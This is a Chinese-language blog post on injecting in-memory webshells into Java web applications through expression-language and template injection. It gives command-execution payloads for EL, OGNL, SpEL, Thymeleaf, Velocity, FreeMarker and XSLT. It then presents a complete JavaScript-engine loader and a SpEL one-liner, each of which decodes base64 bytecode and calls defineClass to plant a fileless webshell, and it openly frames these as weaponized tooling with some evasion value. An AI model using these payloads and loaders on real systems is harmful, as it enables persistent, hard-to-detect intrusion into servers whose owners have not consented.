解析语言内存马注入(一)
前言
在一直以来的漏洞挖掘和攻防过程中,我们会发现经常会出现表达式语言注入漏洞,而为了稳定获取权限就不可避免的需要注入内存马
解析语言概述
本文会测试使用的表达式语言基本都是常见的java表达式语言或常见模板,一共6种,如下所示:
1 2 3 4 5 6
| EL OGNL SPEL Thymeleaf Velocity FreeMarker
|
解析语言介绍
EL表达式
EL表达式全名Expression Language,主要用于替换JSP页面中的脚本表达式,主要作用有获取数据、执行运算、获取web开发对象、调用Java方法
常见的命令执行的payload有:
1
| ''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('calc')
|
OGNL表达式
OGNL是Object Graphic Navigation Language(对象图导航语言)的缩写,一个开源项目。Struts框架使用OGNL作为默认的表达式语言
常见的命令执行的payload有:
1
| (new javax.script.ScriptEngineManager()).getEngineByName('js').eval('java.lang.Runtime.getRuntime().exec("calc")')
|
SPEL表达式
Spring表达式语言(SpEL)是Spring框架的一部分,自Spring 3.0版本开始引入。SpEL的设计目标是提供一种通用的表达式语言,用于在Spring框架中进行各种配置和运行时处理。它被广泛用于Spring框架内的注解、XML配置、Spring Security等模块,为开发者提供了强大而灵活的表达式解析和求值能力
常见的命令执行的payload有:
1
| #{T(java.lang.Runtime).getRuntime().exec('calc')}
|
Thymeleaf模板
Thymeleaf是用于Web和独立环境的现代服务器端Java模板引擎。类似与python web开发中的jinja模板引擎
常见的命令执行的payload有:
1
| __$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.x
|
Velocity模板
Apache Velocity是一个基于Java的模板引擎,它提供了一个模板语言去引用由Java代码定义的对象
常见的命令执行的payload有:
1
| #set($x='') $x.class.forName('java.lang.Runtime').getRuntime().exec('calc')
|
FreeMarker模板
FreeMarker是一个基于Java的模板引擎,一种基于模板和要改变的数据, 并用来生成输出文本(HTML网页,电子邮件,配置文件,源代码等)的通用工具
常见的命令执行的payload有:
1
| <#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","calc").start()}
|
内存马注入
探寻通用的内存马注入方式
如此之多的表达式注入、模板注入,每一个的语法,结构都大相径庭,因此,在正是注入内存马之前,我需要一个可以统合各种语法的注入方式,在一番思索后,有两个很好的选择:JsEngine
、Spel
,通过调用解析引擎可以做到部分内容具有可移植性,已经是最好最方便的结果了
JsEngine调用
就像2023年KCon中《Java表达式攻防下的黑魔法》一文中写到,Java有很多种表达式,不同表达式有不同的语法特点:有些必须要 用链式反射去调用方法,有些可以直接new;有些表达式只能执行一 句,有些可以执行多句
想要做到武器化利用就要选取一种通用的中间层语言,去延展我们的 利用链
其中JS引擎就非常符合我们的要求:
- 一行代码即可调用JS引擎,在JS引擎中可以执行多句
- JDK6-14都可以使用,基本满足对兼容性的需要
- 可以间接调用Java方法,实现任意代码执行
因此,通过JS引擎可以扩展表达式的执行能力,甚至可以统一多种表达式的格式问题
EL表达式
1
| "".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName('js').eval('')
|
OGNL表达式
1
| (new javax.script.ScriptEngineManager()).getEngineByName('js').eval('/*js代码内容*/')
|
SPEL表达式
1
| #{new javax.script.ScriptEngineManager().getEngineByName('js').eval('/*js代码内容*/')
|
Thymeleaf模板
1
| __$%7bnew%20java.util.Scanner(T(javax.script.ScriptEngineManager).getEngineByName('js').eval('/*js代码内容*/')).next()%7d__::.x
|
Velocity模板
1
| #set($x='') $x.class.forName('javax.script.ScriptEngineManager').getEngineByName('js').eval('/*js代码内容*/')
|
FreeMarker模板
1
| ${"freemarker.template.utility.ObjectConstructor"?new()("javax.script.ScriptEngineManager").getEngineByName("js").eval("/*js代码内容*/")}
|
XSLT注入
1 2 3 4 5 6 7 8 9 10 11 12
| <?xml version="1.0" encoding="utf-8"?> <xsl:stylesheetversion="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object"> <xsl:templatematch="/"> <xsl:variablename="rtobject" select="rt:getRuntime()"/> <xsl:variablename="process" select="rt:exec($rtobject,'calc')"/> <xsl:variablename="processString" select="ob:toString($process)"/> <xsl:value-ofselect="$processString"/> </xsl:template> </xsl:stylesheet>
|
JsEngine注入内存马
为了能够更加自由的实现加载字节码,于是这里需要引入defineclass
,其通用性强和无需落地文件的特性使得许多人都推崇备至,虽然后续高版本Java会有些限制,但是无伤大雅,在这里不进行过多讨论,而且在某些层面,其实具备一些免杀效果,通过对上下文classloader获取的defineclass加载的filter为白名单
先通过深搜获取线程的classloader
,再利用js松散的语言特性,我们仅仅需要正射+异常捕获就可以完成目的,再利用classLoader获取到defineclass方法,利用definecalss加载字节码(下面是基础的注入,并未使用高版本绕过)
1
| var classLoader = java.lang.Thread.currentThread().getContextClassLoader();try{classLoader.loadClass('/*注入器名称*/').newInstance();}catch (e){var clsString = classLoader.loadClass('java.lang.String');var bytecodeBase64 = '/*内存马注入字节码*/';var bytecode;try{var clsBase64 = classLoader.loadClass('java.util.Base64');var clsDecoder = classLoader.loadClass('java.util.Base64$Decoder');var decoder = clsBase64.getMethod('getDecoder').invoke(base64Clz);bytecode = clsDecoder.getMethod('decode', clsString).invoke(decoder, bytecodeBase64);} catch (ee) {try {var datatypeConverterClz = classLoader.loadClass('javax.xml.bind.DatatypeConverter');bytecode = datatypeConverterClz.getMethod('parseBase64Binary', clsString).invoke(datatypeConverterClz, bytecodeBase64);} catch (eee) {var clazz1 = classLoader.loadClass('sun.misc.BASE64Decoder');bytecode = clazz1.newInstance().decodeBuffer(bytecodeBase64);}}var clsClassLoader = classLoader.loadClass('java.lang.ClassLoader');var clsByteArray = (new java.lang.String('a').getBytes().getClass());var clsInt = java.lang.Integer.TYPE;var defineClass = clsClassLoader.getDeclaredMethod('defineClass', [clsByteArray, clsInt, clsInt]);defineClass.setAccessible(true);var clazz = defineClass.invoke(classLoader,bytecode,new java.lang.Integer(0),new java.lang.Integer(bytecode.length));clazz.newInstance();}
|
接下来就把这里的内容放到上面的内容里就行,注意双引号和引号的转义,注意注入器名称即可
Spel调用
Spel
是Spring框架的一部分,所以在某些时候会同样适合去作为统一的字节码加载模板
同样通过调用defineclass去加载字节码,不过是通过ReflectUtils
反射调用defineclass去加载字节码,spel的代码会短一些
1
| #{T(org.springframework.cglib.core.ReflectUtils).defineClass('/*注入器名称*/',T(org.springframework.util.Base64Utils).decodeFromString('/*字节码base64内容*/'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).newInstance()}
|
接下来就把这里的内容放到上面的内容里就行,注意双引号和引号的转义,注意注入器名称即可